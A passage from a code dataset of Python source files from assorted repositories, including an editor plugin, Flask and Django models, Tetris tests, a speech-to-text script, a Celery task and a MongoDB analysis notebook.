def _on_mouse_released(self, event):\n \"\"\" mouse pressed callback \"\"\"\n if event.button() == 1 and self._deco:\n cursor = TextHelper(self.editor).word_under_mouse_cursor()\n if cursor and cursor.selectedText():\n self._timer.request_job(self.word_clicked.emit, cursor)\n\n def find_definition(self, symbol, definition):\n if symbol.lower() == definition.name.lower().replace(\" section\", \"\").replace(\" division\", \"\"):\n return definition\n for ch in definition.children:\n d = self.find_definition(symbol, ch)\n if d is not None:\n return d\n return None\n\n def select_word(self, cursor):\n symbol = cursor.selectedText()\n analyser = self.editor.outline_mode\n for definition in analyser.definitions:\n node = self.find_definition(symbol, definition)\n if node is not None:\n break\n else:\n node = None\n self._definition = None\n if node and node.line != cursor.block().blockNumber():\n self._definition = node\n if self._deco is None:\n if cursor.selectedText():\n self._deco = TextDecoration(cursor)\n self._deco.set_foreground(Qt.blue)\n self._deco.set_as_underlined()\n self.editor.decorations.append(self._deco)\n return True\n return False\n\n def _add_decoration(self, cursor):\n \"\"\"\n Adds a decoration for the word under ``cursor``.\n \"\"\"\n if self.select_word(cursor):\n self.editor.set_mouse_cursor(Qt.PointingHandCursor)\n else:\n self.editor.set_mouse_cursor(Qt.IBeamCursor)\n\n def _remove_decoration(self):\n \"\"\"\n Removes the word under cursor's decoration\n \"\"\"\n if self._deco is not None:\n self.editor.decorations.remove(self._deco)\n self._deco = None\n\n def request_goto(self, tc=None):\n \"\"\"\n Request a go to assignment.\n\n :param tc: Text cursor which contains the text that we must look for\n its assignment. Can be None to go to the text that is under\n the text cursor.\n :type tc: QtGui.QTextCursor\n \"\"\"\n if not tc:\n tc = TextHelper(self.editor).word_under_cursor(\n select_whole_word=True)\n if not self._definition or isinstance(self.sender(), QAction):\n self.select_word(tc)\n if self._definition is not None:\n QTimer.singleShot(100, self._goto_def)\n\n def _goto_def(self):\n if self._definition:\n line = self._definition.line\n col = self._definition.column\n TextHelper(self.editor).goto_line(line, move=True, column=col)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "import uuid\n\nfrom Flask_App.utils.models.data_service import DataService, ServiceLayerError\n\n\n__author__ = 'lachlan'\n\nclass DataUUIDService(DataService):\n\n def __init__(self, db):\n super(DataUUIDService, self).__init__(db)\n self.bad_keys.append('uuid')\n\n def create_server_side_fields(self, **fields):\n # create a uuid for this record\n uid = uuid.uuid4()\n fields['uuid'] = str(uid) # This ensures that a fake uuid cant be sent up\n return fields\n\n def get_by_uid(self, uid):\n try:\n req = self.db.query(self.tablename).filter(self.tablename.uuid == uid).first()\n if req ==[]:\n return None\n else:\n return req\n except Exception as e:\n self.logger.error(\"Error occurred while retrieving record by uuid with error msg: %s\" % (str(e)))\n self.db.rollback()\n raise ServiceLayerError(\"Error occurred while retrieving record by uuid with error msg: %s\" % (str(e)))", "source": "mitchoneill/FieldGuideAU", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"This loads the user's _config.py file and provides a standardized interface\ninto it.\"\"\"\n\nimport os\nimport sys\nimport urllib.parse\nimport re\n\nfrom . import cache\nfrom . import controller\nfrom . import filter\n\nfrom .cache import zf\n\n\nzf.config = sys.modules['zeekofile.config']\n\n__loaded = False\n\n\nclass UnknownConfigSectionException(Exception):\n pass\n\n\nclass ConfigNotFoundException(Exception):\n pass\n\noverride_options = {}\n\nsite = cache.HierarchicalCache()\ncontrollers = cache.HierarchicalCache()\nfilters = cache.HierarchicalCache()\n\n\ndef recompile():\n global site\n site.compiled_file_ignore_patterns = []\n for p in site.file_ignore_patterns:\n if isinstance(p, str):\n site.compiled_file_ignore_patterns.append(\n re.compile(p, re.IGNORECASE))\n else:\n site.compiled_file_ignore_patterns.append(p)\n global blog\n blog.url = urllib.parse.urljoin(site.url, blog.path)\n\n\nzeekofile_codebase = os.path.dirname(__file__)\ndefault_path = os.path.join(zeekofile_codebase, \"_default_config.py\")\n\n\ndef __load_config(path=None):\n # Strategy:\n # 1) Load the default config\n # 2) Load the filters and controllers\n # 3) Finally load the user's config.\n # This will ensure that we have good default values if the user's\n # config is missing something.\n exec(open(default_path).read(), globals(), locals())\n\n filter.preload_filters(\n directory=os.path.join(zeekofile_codebase, '_filters'))\n filter.preload_filters()\n controller.load_controllers(\n directory=os.path.join(zeekofile_codebase, '_controllers'))\n controller.load_controllers()\n if path:\n exec(open(path).read(), globals(), locals())\n\n # config is now in locals() but needs to be in globals()\n for k, v in locals().items():\n globals()[k] = v\n\n # Override any options (from unit tests)\n for k, v in override_options.items():\n if \".\" in k:\n parts = k.split(\".\")\n cache_object = \".\".join(parts[:-1])\n setting = parts[-1]\n cache_object = eval(cache_object)\n cache_object[setting] = v\n else:\n globals()[k] = v\n recompile()\n __loaded = True\n\n\ndef init(config_file_path=None):\n # Initialize the config, if config_file_path is None,\n # just load the default config\n if config_file_path:\n if not os.path.isfile(config_file_path):\n raise ConfigNotFoundException\n __load_config(config_file_path)\n else:\n __load_config()\n return globals()['__name__']\n", "source": "cdarlint/zeekofile", "license": "MIT"}
+{"text": "from core import *\nimport pytest\n\ndef test_empty_grid_drop_dot():\n ''' drops an active dot block in an empty grid'''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).drop() == \\\n Grid([], ActiveBlock(3, 4, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_occupied_grid_drop_dot():\n ''' drops an active dot block in a grid with another dot '''\n assert Grid([Block([(0,0)])], ActiveBlock(3, 5, Block([(0,0)]))).drop() == \\\n Grid([Block([(0,0)])], ActiveBlock(3, 4, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_empty_grid_move_dot_left():\n ''' moves an active dot block to the left in an empty grid'''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).move('left') == \\\n Grid([], ActiveBlock(2, 5, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_empty_grid_move_dot_right():\n ''' moves an active dot block to the right in an empty grid'''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).move('right') == \\\n Grid([], ActiveBlock(4, 5, Block([(0,0)]))) \n\n@pytest.mark.skip\ndef test_empty_grid_move_nonsense_direction():\n ''' calls move with an invalid direction argument. '''\n assert Grid([], ActiveBlock(3, 5, Block([(0,0)]))).move('not left or right') is None\n\n@pytest.mark.skip\ndef test_rotate_dot():\n g = Grid([], ActiveBlock(3, 5, Block([(0,0)])))\n assert g.rotate() == g\n\n@pytest.mark.skip\ndef test_rotate_L():\n assert Grid([], ActiveBlock(3, 5, Block([(0, 2), (0, 1), (0, 0), (1, 0)]))).rotate() == \\\n Grid([], ActiveBlock(3, 5, Block([(2, 0), (1, 0), (0, 0), (0, -1)])))\n\n@pytest.mark.skip\ndef test_four_rotations_is_identity():\n g = Grid([], ActiveBlock(3, 5, Block([(0, 2), (0, 1), (0, 0), (1, 0)])))\n assert g.rotate().rotate().rotate().rotate() == g\n\n@pytest.mark.skip\ndef test_valid_corners_current():\n # bottom left\n assert not Grid([], ActiveBlock(-1, 0, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(-1, -1, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(0, -1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(0, 0, Block([(0, 0)]))).is_valid()\n # bottom right\n assert not Grid([], ActiveBlock(WIDTH, 0, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(WIDTH, -1, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(WIDTH-1, -1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(WIDTH-1, 0, Block([(0, 0)]))).is_valid()\n # top right\n assert not Grid([], ActiveBlock(WIDTH, HEIGHT, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(WIDTH-1, HEIGHT, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(WIDTH, HEIGHT-1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(WIDTH-1, HEIGHT-1, Block([(0, 0)]))).is_valid()\n # top left\n assert Grid([], ActiveBlock(0, HEIGHT, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(-1, HEIGHT, Block([(0, 0)]))).is_valid()\n assert not Grid([], ActiveBlock(-1, HEIGHT-1, Block([(0, 0)]))).is_valid()\n assert Grid([], ActiveBlock(0, HEIGHT-1, Block([(0, 0)]))).is_valid()\n\n@pytest.mark.skip\ndef test_valid_corners_placed():\n # bottom left\n assert not Grid([Block([(-1, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(0, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(-1, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(0, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n # bottom right\n assert not Grid([Block([(WIDTH, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(WIDTH, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(WIDTH-1, -1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(WIDTH-1, 0)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n # top right\n assert not Grid([Block([(WIDTH, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(WIDTH-1, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(WIDTH, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(WIDTH-1, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n # top left\n assert Grid([Block([(0, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(-1, HEIGHT)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert not Grid([Block([(-1, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n assert Grid([Block([(0, HEIGHT-1)])], ActiveBlock(WIDTH // 2, HEIGHT // 2, Block([(0,0)]))).is_valid()\n\n@pytest.mark.skip\ndef test_empty_is_occupied_all():\n g = Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n assert not any(g.is_occupied((x, y)) for x in range(WIDTH) for y in range(HEIGHT))\n\n@pytest.mark.skip\ndef test_dot_is_occupied_all():\n occupied_posn = (WIDTH // 2, HEIGHT // 2)\n unoccupied_posns = {(x, y) for x in range(WIDTH) for y in range(HEIGHT)} - {occupied_posn}\n g = Grid([Block([occupied_posn])], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.is_occupied(occupied_posn)\n assert not any(g.is_occupied(p) for p in unoccupied_posns)\n\n@pytest.mark.skip\ndef test_empty_clear_full_rows():\n g = Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.clear_full_rows() == g\n\n@pytest.mark.skip\ndef test_bottom_full_dots_clear_full_rows():\n g = Grid([Block([(x, 0)]) for x in range(WIDTH)], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.clear_full_rows() == Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_bottom_two_full_dots_clear_full_rows():\n g = Grid([Block([(x, y)]) for x in range(WIDTH) for y in (0, 1)], ActiveBlock(0, 0, Block([(0,0)])))\n assert g.clear_full_rows() == Grid([], ActiveBlock(0, 0, Block([(0,0)])))\n\n@pytest.mark.skip\ndef test_place_block_dot():\n g = Grid([], ActiveBlock(1, 2, Block([(3,4)])))\n assert g.place_block() == Grid([Block([(4, 6)])], None)", "source": "BaseCampCoding/python-fundamentals", "license": "MIT"}
+{"text": "def stt():\n import os\n import glob\n from os import listdir\n import librosa\n import speech_recognition as sr\n import re\n from scipy.io import wavfile\n import numpy as np\n import soundfile as sf\n\n path = 'speakers/'\n text_files = [f for f in os.listdir(path) if f.endswith('.wav')]\n text_files.sort(key=lambda f: int(re.sub('\\D', '', f)))\n print(text_files)\n print('Files count:', len(text_files))\n recognizer = sr.Recognizer()\n\n\n def convert(filename, output, speakerid):\n file = open(output, \"a\")\n print(filename)\n # y, s = librosa.load(filename, sr=8000)\n # sf.write(filename, y, s)\n try:\n with sr.AudioFile(filename) as source:\n # listen for the data (load audio to memory)\n audio_data = recognizer.record(source)\n # recognize (convert from speech to text)\n # text = speakerid + ': '\n text = recognizer.recognize_google(audio_data)\n print(speakerid + ': ' + text)\n file.writelines(speakerid + ': ' + text + '\\n')\n file.close()\n\n except sr.RequestError as e:\n print(\"Could not request results; {0}\".format(e))\n\n except sr.UnknownValueError:\n # print(\"unknown error occurred\")\n pass\n\n\n i = 0\n for filename in text_files:\n str1 = path + filename\n str2 = path + 'speaker3.txt'\n if i % 2 == 0:\n convert(str1, str2, 'speaker0')\n else:\n convert(str1, str2, 'speaker1')\n i += 1\n print('Speech-to-Text File created!')\n", "source": "AdityaK1211/Final_Year_Project_SCET", "license": "MIT"}
+{"text": "import logging\nfrom celery import Task\nfrom celery.exceptions import MaxRetriesExceededError\nfrom .app_worker import app\nfrom .yolo import YoloModel\n\n\nclass PredictTask(Task):\n def __init__(self):\n super().__init__()\n self.model = None\n\n def __call__(self, *args, **kwargs):\n if not self.model:\n logging.info('Loading Model...')\n self.model = YoloModel()\n logging.info('Model loaded')\n return self.run(*args, **kwargs)\n\n\n@app.task(ignore_result=False, bind=True, base=PredictTask)\ndef predict_image(self, data):\n try:\n data_pred = self.model.predict(data)\n return {'status': 'SUCCESS', 'result': data_pred}\n except Exception as ex:\n try:\n self.retry(countdown=2)\n except MaxRetriesExceededError as ex:\n return {'status': 'FAIL', 'result': 'max retried achieved'}\n", "source": "csouflis/object-detection-api", "license": "MIT"}
+{"text": "\"\"\"\n\u0412 \u043e\u0434\u043d\u043e\u043c \u0433\u043e\u0440\u043e\u0434\u0435 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u0430\u043c \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f,\n\u043a\u0440\u043e\u043c\u0435 \u043a\u0430\u043a \u0434\u043b\u044f \u043f\u043e\u0441\u0430\u0434\u043a\u0438 \u043f\u0430\u0441\u0430\u0436\u0438\u0440\u0430. \u0410 \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440 \u043d\u0435\n\u0441\u043e\u0433\u043b\u0430\u0441\u0435\u043d \u0436\u0434\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 3 \u043c\u0438\u043d\u0443\u0442. \u0412 \u044d\u0442\u043e\u043c \u0433\u043e\u0440\u043e\u0434\u0435\n\u043f\u0435\u0448\u0435\u0445\u043e\u0434 \u0437\u0430\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u0430\u043a\u0441\u0438 \u0432 \u0442\u043e\u0447\u043a\u0443 X \u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\n\u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u0432 180 \u0441\u0435\u043a\u0443\u043d\u0434. \u0412\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c\n\u0440\u043e\u0432\u043d\u043e \u0432 \u044d\u0442\u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b. \u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c \u0440\u0430\u043d\u044c\u0448\u0435, \u0442\u043e\n\u043e\u0436\u0438\u0434\u0430\u0442\u044c \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440\u0430 \u0431\u0443\u0434\u0435\u0442 \u043d\u0435\u043b\u044c\u0437\u044f. \u0415\u0441\u043b\u0438 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c\n\u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043f\u043e\u0437\u0434\u043d\u043e, \u0442\u043e \u0440\u0430\u0437\u043e\u0437\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0441\u0441\u0430\u0436\u0438\u0440 \u043e\u0442\u043c\u0435\u043d\u0438\u0442\n\u0437\u0430\u043a\u0430\u0437.\n\n\u0418\u0437-\u0437\u0430 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439 \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0440\u043e\u0434\u0435 \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c\n\u0432\u0441\u0435\u0433\u043e Z \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439, \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432 \u043c\u043e\u043c\u0435\u043d\u0442\n\u0441\u0442\u0430\u0440\u0442\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0432\u0435\u0440\u0448\u0438\u043d\u0435 \u0433\u0440\u0430\u0444\u0430\n\u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0433\u043e \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f. \u0421\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u043b\u0436\u043d\u0430\n\u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u043d\u0430\u0438\u043b\u0443\u0447\u0448\u0435\u0433\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0438\u0437 \u0442\u0435\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435\n\u0443\u0441\u043f\u0435\u044e\u0442 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b. \u041d\u0430\u0438\u043b\u0443\u0447\u0448\u0438\u043c\n\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438\u0435\u0434\u0435\u0442 \u043d\u0430 \u0437\u0430\u043a\u0430\u0437\n\u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043b\u0438\u0437\u043a\u043e \u043a \u043d\u0430\u0447\u0430\u043b\u0443 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0430. \u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u0438\u0445\n\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e, \u0442\u043e \u043b\u044e\u0431\u043e\u0439 \u0438\u0437 \u043d\u0438\u0445.\n\n\u041d\u0443\u0436\u043d\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u0443\u0441\u043f\u0435\u0432\u0430\u0435\u0442\n\u043b\u0438 \u043e\u043d \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b, \u0438 \u0435\u0441\u043b\u0438 \u0434\u0430 -\n\u0442\u043e \u043a \u043a\u0430\u043a\u043e\u043c\u0443 \u0441\u0430\u043c\u043e\u043c\u0443 \u0440\u0430\u043d\u043d\u0435\u043c\u0443 \u043c\u043e\u043c\u0435\u043d\u0442\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\n\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b\u0435 \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0435\u0445\u0430\u0442\u044c.\n\n\u0424\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\n\u0414\u0430\u043d\u043e:\n1. \u041e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0433\u0440\u0430\u0444 G \u0441 N \u0432\u0435\u0440\u0448\u0438\u043d\u0430\u043c\u0438 \u0438 K \u0440\u0435\u0431\u0440\u0430\u043c\u0438,\n \u0432\u0435\u0440\u0448\u0438\u043d\u044b \u043f\u0440\u043e\u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u044b \u043e\u0442 0 \u0434\u043e N-1, 0 \u2264 N \u2264 10^4,\n 0 \u2264 K \u2264 10^4. \u041a\u0430\u0436\u0434\u043e\u043c\u0443 \u0440\u0435\u0431\u0440\u0443 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u0440\u0435\u043c\u044f\n \u043f\u043e\u0435\u0437\u0434\u043a\u0438 \u0432 \u043d\u0435\u043c - \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e W, 10 \u2264 W \u2264 10^4.\n2. \u041f\u043e\u0437\u0438\u0446\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0430 \u043d\u0430 \u0433\u0440\u0430\u0444\u0435 ID_target\n3. Z \u043f\u043e\u0437\u0438\u0446\u0438\u0439 \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0433\u0440\u0430\u0444\u0435 ID_sourcez,\n 1 \u2264 Z \u2264 10^4\n4. \u0412\u0440\u0435\u043c\u044f t0, 0 \u2264 t0 \u2264 600 - \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e\n\u041d\u0430\u0434\u043e \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u043ee t_min \u0447\u0442\u043e:\n1. \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043e\u0442 ID_sourcez \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\n \u043a ID_target, \u0447\u0442\u043e \u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043f\u0440\u0438\u0435\u0437\u0436\u0430\u0435\u0442 \u0432 t_min\n2. t_min \u2208 [t0; t0+180]\n3. \u0438 \u044d\u0442\u043e \u0441\u0430\u043c\u044b\u0439 \u0440\u0430\u043d\u043d\u0438\u0439 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 t_min : t_min \u2264 t_i\n \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0433\u043e t_i, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0435\u0433\u043e \u043f\u0443\u043d\u043a\u0442\u0430\u043c 1 \u0438 2;\n4. \u0418\u043b\u0438 \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0433\u043e t_min \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\n\"\"\"\n\nfrom pathlib import Path\n\n\nscriptDir = Path.cwd()\n\n\ndef main():\n pass\n\n\nif __name__ == '__main__':\n main()\n\n", "source": "galavasteg/YXProgChallenge2019", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom pymongo import MongoClient\nimport os\nimport json\nfrom bson.json_util import dumps\nimport datetime\n\n\ndbuser = \"\"\n_id = \"\"\ndbpassword = \"\"\n\nuri = f\"mongodb://{dbuser}:{dbpassword}@ds043972.mlab.com:43972/{_id}\"\n \nstable = {\n 'Oxidising Gas': 400,\n 'Reducing Gas': 3.0,\n 'nh3 Gas': 3.0\n}\n \n\n\n# In[2]:\n\n\nclient = MongoClient(uri, retryWrites=False)\ndb = client[_id]\n\n\n# In[3]:\n\n\ncursor = db.readings.find({})\ndocs = []\nfor document in cursor:\n docs.append(document)\n\n\n# In[ ]:\n\n\nimport pandas as pd\ndf = pd.DataFrame(docs)\ndf['Volts'] = df['CPU Volts'].astype(float)\nformat = '%d/%m/%Y %H:%M'\ndf['Datetime'] = pd.to_datetime(df['Date'] + ' ' + df['Time'], format=format)\ndf = df.set_index(pd.DatetimeIndex(df['Datetime']))\n\n\n# In[ ]:\n\n\nx = df['2020-06-29 18:00:00' : '2020-06-30 23:59:59' ] \n\n\n# In[ ]:\n\n\nx[x['Device']=='Enviro']['Reducing Gas'].plot()\n\n\n# In[71]:\n\n\nfrom datetime import date\ntoday = date.today()\n\n\ndef day_summary(present=True, target=[None]): \n if present:\n today = date.today()\n d1 = today.strftime(\"%d/%m/%Y\") \n match = {\"$match\" : {\"Date\" : d1}} \n else:\n if (len(target) == 1):\n d1 = target[0]\n match = {\"$match\" : {\"Date\" : d1}} \n \n else:\n d1 = target[0]\n d2 = target[1]\n match = {\"$match\" : {\"$and\" : [{\"Date\" : { \"$gte\":d1, \"$lte\": d2}}]}} \n \n group = {\n \"$group\" : {'_id': {\n \"Host\": \"$Host\",\n \"Device\": \"$Device\",\n \"Date\": \"$Date\"\n }, \n 'Avg Temp': {'$avg':'$CPU Core'},\n 'Avg Freq': {'$avg':'$CPU Clock'},\n 'Obs': {'$sum': 1},\n 'Humidity' : {'$avg': '$Room Humidity'},\n 'Pressure' : {'$avg': '$Room Pressure'},\n 'Ox Gas' : {'$avg': '$Oxidising Gas'},\n 'Red Gas' : {'$avg': '$Reducing Gas'},\n 'nh3 Gas' : {'$avg' : '$nh3 Gas'}\n } \n } \n \n proj = {\n \"$project\": {\n \"Date\" : { \n \"$dateFromString\" : \n {\n \"dateString\": '$Date',\n \"timezone\": 'Europe/Dublin'\n }\n },\n \"Host\":1,\n \"Device\":1,\n \"CPU Core\":1,\n \"Room Pressure\":1,\n \"Room Pressure\":1,\n \"Oxidising Gas\":1,\n \"Reducing Gas\":1,\n \"nh3 Gas\":1,\n \"CPU Clock\":1\n }\n } \n \n pipeline = [\n match,\n group\n ]\n\n agg_sum = db.readings.aggregate(pipeline) \n docs = []\n for b in agg_sum:\n rec = {}\n rec['Host'] = b['_id']['Host']\n rec['Device'] = b['_id']['Device']\n rec['Date'] = b['_id']['Date']\n del b['_id'] \n for key in b.keys():\n rec[key] = b[key] \n docs.append(rec) \n \n return docs\n \n \n\n\n# In[72]:\n\n\nd = day_summary(False, ['26/06/2020', '30/06/2020'])\n\n\n# In[73]:\n\n\nd\n\n\n# In[75]:\n\n\nimport pandas as pd\nff = pd.DataFrame(d)\n\n\n# In[76]:\n\n\nff\n\n\n# In[77]:\n\n\nff['Date'].unique()\n\n\n# In[ ]:\n\n\n\n\n", "source": "CognitiveDave/e2eSensorNetwork", "license": "Apache-2.0"}
+{"text": "from namespace import project\n\nif __name__ == \"__main__\":\n dummy = project.Dummy()\n dummy.setVal(42)\n print(dummy.getVal())\n dummy = project.Dummy(42)\n", "source": "burgholzer/template", "license": "MIT"}
+{"text": "from django.db import models\nfrom polymorphic.models import PolymorphicModel\n\n\nclass Interface(PolymorphicModel):\n name = models.CharField(max_length=30, unique=True)\n\n def __str__(self):\n return self.name\n\n\nclass NetworkInterface(Interface):\n mac_address = models.CharField(max_length=23)\n address = models.CharField(max_length=30)\n\n\nclass BackplaneNetworkInterface(Interface):\n pass\n\n\nclass UartInterface(Interface):\n uri = models.CharField(max_length=30)\n", "source": "cygerior/LabManager", "license": "MIT"}
+{"text": "# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom rally.task import service\n\n\nProject = service.make_resource_cls(\"Project\", [\"id\", \"name\", \"domain_id\"])\nUser = service.make_resource_cls(\n \"User\", properties=[\"id\", \"name\", \"project_id\", \"domain_id\"])\nService = service.make_resource_cls(\"Service\", properties=[\"id\", \"name\"])\nRole = service.make_resource_cls(\"Role\", properties=[\"id\", \"name\"])\n\n\nclass Identity(service.UnifiedService):\n @classmethod\n def 